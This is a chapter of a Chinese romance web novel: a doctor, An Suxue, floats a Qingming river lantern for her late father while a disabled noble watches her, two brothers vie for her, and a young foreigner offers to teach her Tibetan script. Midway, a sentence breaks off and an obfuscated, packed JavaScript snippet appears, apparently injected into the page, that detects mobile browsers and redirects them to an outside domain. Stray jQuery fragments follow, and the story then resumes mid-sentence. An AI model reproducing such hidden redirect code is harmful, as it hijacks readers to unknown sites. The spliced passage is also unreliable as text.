29. 第 29 章

作品:《和四个竹马的那些年

    这些日子的接触下来,谢骧发现安素雪是个格外本分老实的姑娘。


    她一心向医,不在乎外物,也说不清是太聪明,还是迟钝过了头。


    听属下来报说她出门,谢骧着实好奇她会做什么。没带着药箱,显然不是去看诊。


    可她的生活里除了行医问诊,似乎没有旁的事情了。


    这更家中谢骧的好奇,换好衣服后出门去,不紧不慢的在安素雪身后跟着。大抵今天日子特殊,入夜之后街道上的行人甚少,越发显得那道纤细身影形单影只。


    “不必跟的太近。”谢骧淡声吩咐,推车的李昌称是,又落后了一段距离,保管安素雪回头也发现不了。


    眼见着过了桥,李昌犯了难。他们主子不良于行,轮椅没法过桥,主子不良于行后最是忌讳,他也不能抱着主子过去。于是李昌道:“主子,属下先去探探安姑娘的去向。”


    谢骧声音淡淡道:“不必,她就在河边。”


    李昌好奇主子怎么知道,但他不敢问,推着人来到桥边柳树下,恰好能瞧见对岸有个姑娘站在河边,天色已晚,瞧不清楚她在做什么。


    谢骧倒是一副胸有成竹的模样,片刻后,不出他所料,看见安素雪蹲下,手里亮起一盏莹莹光亮。


    本朝有清明祭祀放河灯的习俗,不过李昌不明白。“主子,放河灯一般都是日月交替黄昏时分放,安姑娘怎么大晚上的出来啊。”


    自然是因为她要祭奠亡人。


    安素雪的身世被调查的一清二楚,薄薄的一张纸落在谢骧的桌上,概括她前十六年的人生。背景贫瘠素白干净,和她这个人一样。


    “都说清明节晚上容易冲撞了脏东西,安姑娘不怕吗?”李昌都觉得凉嗖嗖,她一个弱女子,怎么如此大胆。


    河边的妙龄女郎还不知对岸人的想法,她将河灯放下后用手拨动水面,看着河灯被水流带的往下游去。


    孤孤单单的一盏灯在河面上,微弱的光亮映在安素雪的眼眸里。其实这些年,她已经忘了她亲生父亲的模样,可他毕竟是亲爹,每年清明她都会为他放一盏河灯。


    听说有亲人放河灯,亡者才能找到去往黄泉的路,不至于误入牲畜道,来世投胎也可以投到好人家。


    她满怀心事,完全没注意到自己落寞的模样尽数被人看了去。


    ……


    回去路上意外碰见了罗文,安素雪勉强扯出一个笑。“罗文哥,你怎么在这?”


    他们认识多年,罗文当然知道她每年来放河灯的事情,也知道她不想让旁人知晓此事,于是装作浑然不知。“刚给一家送了酒,正好要回去,你要回家吗?一起?”


    两道身影并肩而行,安素雪时不时的侧头看过来,大抵是认识的时间久了,罗文能轻而易举的捕捉到她的情绪,他便温声说着这些日子的趣事,像是一束不知从哪照来的光亮,将她头顶乌云驱散。


    眼见着年轻的男女有说有笑,远处的谢骧冷笑一声。


    李昌会意,立刻弯腰请示:“主子,需要属下出手吗?”


    只要谢骧想,抬抬手指,便有无数种法子让那个年轻男子消失于世。


    却不想谢骧睨了他一眼,神色冷淡道:“你觉得我比不过一个平头百姓?”


    李昌立刻表忠心:“属下绝无此意!”


    谢骧挥手示意李昌闭嘴。


    走在前面的罗文觉得后脖颈处一凉,他回过头,身后的街道空无一人。


    “安安,我们快些回去。”老一辈说的对,这样的日子晚上莫要再外面逗留。


    路边的商铺打了烊没有光亮,借着月光勉强能看清脚下的路,安素雪心绪不宁,走路踉跄,罗文侧头看她,索性去握她的手腕。


    “安安,我扶着你。”


    小时候孩子们闹腾的晚了,罗文也是像现在这样,握住她的手腕带她回家。


    那时候安素雪瘦的可怜,罗文都怕自己用力折断她的腕子。现在也清瘦,填不满他的掌心。


    昨日下过雨,夜里空气清新泛着冷意。正是年轻力壮的罗文手心热的惊人,烫的安素雪也觉得热起来。


    从后面看,就像是俩人交握,感情甚笃。


    谢骧面色沉了沉,周身空气变滞,吓的李昌大气都不敢喘。


    快走到家门前时,罗文远远瞧见自家门口站着人正在朝这边张望,他像是被抓包似的立刻松开手,恰逢脚下不平,安素雪一时没防备,差点摔倒,罗文见状又去扶住她的后背。


    罗武已经朝着这边跑来了,在弟弟到来之前,罗文先一步松开人,而后对赶来对他怒目而视的弟弟道:“安安差点摔倒,我扶一下。”


    兄弟俩视线交汇,在安素雪看不见的地方火药味十足。


    远处的谢骧右手扶着额角。


    “呵。”


    ……


    待安素雪回了陈家,罗武转过身竖眉看胞兄:“你是故意的吧?”


    罗文一脸的无可奈何。“我本想叫你去接安安的,但那时候你在爹娘房间。”


    今天罗武打碎了一坛子酒,被罗母揪着耳朵训斥。


    罗武:“真的?”


    罗文点头。


    显然相信大哥所言的罗武瞥向医馆,见没人出来,他才压低声音道:“再有下次你记得帮我。”


    怎么帮?自然是要假扮罗武。


    哥哥装弟弟,去赢取一个女子的芳心。


    “大哥?怎么不说话?你后悔了?”


    背过手的罗文握掌成拳,手背上的青筋暴起,偏他面上云淡风轻。


    “没有,回去休息吧。”


    ……


    医馆里陈山还在收拾铺子,安素雪进去后洗手帮忙,将药材架子清理干净,免得有药材残渣落入相冲的匣子里,影响药效。


    桌椅也都擦拭一遍,吃苦耐劳的姑娘这些年都是如此任劳任怨。


    “安安,辛苦你了。”陈山倏地道。


    “不辛苦的。”安素雪莞尔一笑,“我喜欢做这些。”


    这孩子从小就聪慧懂事,仿若比同龄人立事更早,但陈山知道,她是为了让这个家更加和睦。为此,没少吃哑巴亏。


    陈香玉是个嘴厉的,俩人年岁相仿,尽管有陈山归


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794987|155415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    束,还是管不住陈香玉,也因为如此,陈山总觉得亏欠安素雪。


    正好四下无人,陈山将钱匣子里的钱拿出来两块碎银子,放在安素雪手边。


    “天气渐暖,安安不必每日泡在医馆,大可以和朋友们出去踏青放纸鸢,去茶楼里吃点心听故事也好。”


    像陈香玉就总是出门游玩,陈山生怕憋坏了安素雪。


    对安素雪好,便是对妻子最大的尊重,俩人都懂得这个道理,所以这钱安素雪更不能要。


    “出去看诊的钱已经归我了,还每月给我发零花钱,其实我手里有钱的,用不完。”


    百般推辞之时,季飞白从外面走进来,在外人面前怕闹的不好看,陈山就将钱收起来。问少年道:“飞白晚上可曾用饭?”


    穿着一身短打的季飞□□神抖擞,完全不是刚到来时萎靡不振的模样,他爽朗一笑。“多谢陈叔,吃过了。”


    还帮忙收拾铺子,三个人回后院歇息。


    白日里出了一身汗,季飞白习惯睡前清洗身体,推门去厨房取水,一眼瞧见坐在院子里的姑娘。


    “又要练针灸?”


    清明节大半夜坐在这,冷清之余还有点瘆人。季飞白抬头看看天色,月亮被乌云遮盖住,没什么光亮。


    “不等针灸之术练好,眼睛先看不见了。”


    季飞白留下这句便往厨房去。


    “没有,我是在等你。”


    他停下脚步转身看过来。


    为了方便清洗,外裳早就脱了,只穿着贴身里衣,因着常年习武练就一层薄肌,宽肩窄腰,回过身时身体侧面有让人赏心悦目的弧度。


    “等我?”季飞白扬起眉梢,似乎觉得有趣,端着盆转身,看见安素雪手边放着的东西。


    她连忙将竹筒饭拿起来,打开盖子。“不知道你们那边有没有吃竹筒饭的习俗,在这里的话吃竹筒饭有祛邪避祸的意思。”


    米饭上还洒了几颗蜜豆,随着她走近,隐有甜蜜香气。


    季飞白放下盆,安素雪将竹筒饭递了过去,眼睛扫过他腹部。


    “放心,吃的下。”


    都说半大小子吃穷老子,季飞白年轻力壮正是能吃的时候。安素雪叫他坐下吃,她也在他身侧落座。


    他吃东西速度很快,却半点不粗鲁,没一会将饭吃饭,将竹筒放在桌上。


    “这个,还能用吗?”


    “明日可以当柴烧。”


    咔嚓脆响之后,季飞白捏着手里的一条竹片,“不是想学吐蕃字吗?今日就教你。”


    这人做事也太过随性了,安素雪一时没反应过来,杏眸轻眨,瞳孔里映出笑意飞扬的脸。


    “不想学?那我走了。”


    语毕,作势就要起身。他整日不在,好不容易有个机会,安素雪不肯放弃,连忙抓住他的衣摆。


    “我要学的,别走。”


    小姑娘全然不知,背对着她的异域少年琥珀眸子闪烁光芒,转过身时硬是压住了翘起的唇角,像是颇为苦恼一般。


    “罢了,今日就先教你几个字,说吧,想学什么?”